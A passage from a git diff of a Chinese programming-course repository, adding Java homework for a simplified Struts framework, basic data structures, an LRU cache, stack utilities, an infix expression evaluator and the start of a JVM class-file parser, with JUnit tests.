+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java b/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java b/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/List.java b/group23/563253496/week6_stack/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/Queue.java b/group23/563253496/week6_stack/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..4576c016af
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,35 @@
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..45740e6d57
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coding.basic.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..24b9d8b155
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,164 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			
+			moveExistingNodeToHead(node);		
+			
+		} else{
+			
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+							
+			} 
+			
+			addNewNodetoHead(node);
+			
+			
+			
+						
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		
+		if(isEmpty()){
+			
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+			
+		} else{
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+		
+	}
+
+	
+
+	
+	
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		
+		if (node == first) {
+			
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;				
+			
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+			
+			
+		}
+		
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;	
+		
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..fff3778da5
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,64 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+import java.util.ArrayList;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+public class Stack {
+    private int count;
+    private ArrayList elementData;
+
+    public Stack() {
+        this.count = 0;
+        elementData = new ArrayList();
+    }
+
+    public void push(Object o) {
+        count++;
+        elementData.add(o);
+
+    }
+
+    public Object pop() {
+        count--;
+        Object o = elementData.get(count);
+        elementData.remove(count);
+        return o;
+    }
+
+    public Object peek() {
+
+        return elementData.get(count-1);
+    }
+
+    public boolean isEmpty() {
+        if (count == 0) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    public int size() {
+        return count;
+    }
+
+    public String toString(){
+        StringBuilder sb = new StringBuilder();
+        Stack s = new Stack();
+        while(!this.isEmpty()){
+            sb.append(this.peek().toString());
+            sb.append(",");
+            s.push(this.pop());
+        }
+        while(!s.isEmpty()){
+            this.push(s.pop());
+        }
+
+//       sb.deleteCharAt(sb.length()-1);
+        return sb.toString();
+    }
+}
+
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..70bd34e37f
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,136 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+	
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		
+		s = tmpStack;
+		
+	}
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Integer top = s.pop();
+		reverse(s);
+		addToBottom(s,top);
+		
+		
+	}
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Integer top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
+		
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack tmpStack = new Stack();
+		
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			if(!value.equals(o)){
+				tmpStack.push(value);
+			} 			
+		}
+		
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		
+		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
+			return null;
+		}
+		
+		Stack tmpStack = new Stack();
+		int i = 0;
+		Object[] result = new Object[len];
+		while(!s.isEmpty()){
+			Object value = s.pop();			
+			tmpStack.push(value);
+			result[i++] = value;
+			if(i == len){
+				break;
+			}
+		}
+		
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		
+		Stack<Character> stack = new Stack();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+			
+			if(c == '(' || c =='[' || c == '{'){
+				
+				stack.push(c);
+				
+			} else if( c == ')'){
+				
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+				
+			} else if( c == ']'){
+				
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+					
+			} else if( c == '}'){
+				
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+				
+			}
+		}
+		return stack.size() == 0;
+	}
+	
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..99dd8450fe
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,78 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.fail;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..091c670ba8
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,112 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+
+import java.util.HashMap;
+
+public class InfixExpr {
+    String expr = null;
+    char[] chars;
+    Stack opStack;
+    Stack numStack;
+    private HashMap<Character, Integer> level = new HashMap<>();
+
+    int pos;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+
+
+        this.level.put('+', 0);
+        this.level.put('-', 0);
+        this.level.put('*', 1);
+        this.level.put('/', 1);
+
+
+        this.opStack = new Stack();
+        this.numStack = new Stack();
+        this.pos = 0;
+    }
+
+    public float evaluate() {
+        chars = expr.toCharArray();
+        while (this.pos < chars.length) {
+            if (isOp(chars[pos])) {
+                if (opStack.isEmpty()) {
+                    opStack.push(chars[pos]);
+                    pos++;
+                } else {
+                    //TODO analyze
+                    char op = (char) opStack.pop();
+                    if (level.get(chars[pos]) <= level.get(op)) {
+
+                        int c = this.caculate(op);
+                        numStack.push(c);
+                        opStack.push(chars[pos]);
+                        pos++;
+
+
+                    }else {
+                        opStack.push(op);
+                        opStack.push(chars[pos]);
+                        pos++;
+                    }
+                }
+            } else {
+                int num = this.getNumber();
+                numStack.push(num);
+
+            }
+        }
+
+        while(!opStack.isEmpty()){
+            char op = (char) opStack.pop();
+
+            int c = this.caculate(op);
+            numStack.push(c);
+       }
+
+        return (int)numStack.pop();
+    }
+
+    private boolean isOp(char c) {
+        switch (c) {
+            case '+':
+            case '-':
+            case '*':
+            case '/':
+                return true;
+
+            default:
+                return false;
+        }
+    }
+
+    private int getNumber() {
+        int num = Integer.parseInt("" + chars[pos]);
+        pos++;
+        while ((pos < chars.length)&&(!isOp(chars[pos])) ) {
+            num *= 10;
+            num += Integer.parseInt("" + chars[pos]);
+            pos++;
+        }
+        return num;
+    }
+
+    private int caculate(char c) {
+        int b = (int) numStack.pop();
+        int a = (int) numStack.pop();
+        switch (c) {
+            case '+':
+                return a + b;
+            case '-':
+                return a - b;
+            case '*':
+                return a * b;
+            case '/':
+                return a / b;
+        }
+        return -1;
+    }
+}
+
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20f52b4c63
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..a57a8b5446
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,72 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;
+	}
+
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		return null;
+	}
+
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+
+
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+
+	}
+
+
+
+
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..a31a1ff4d0
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
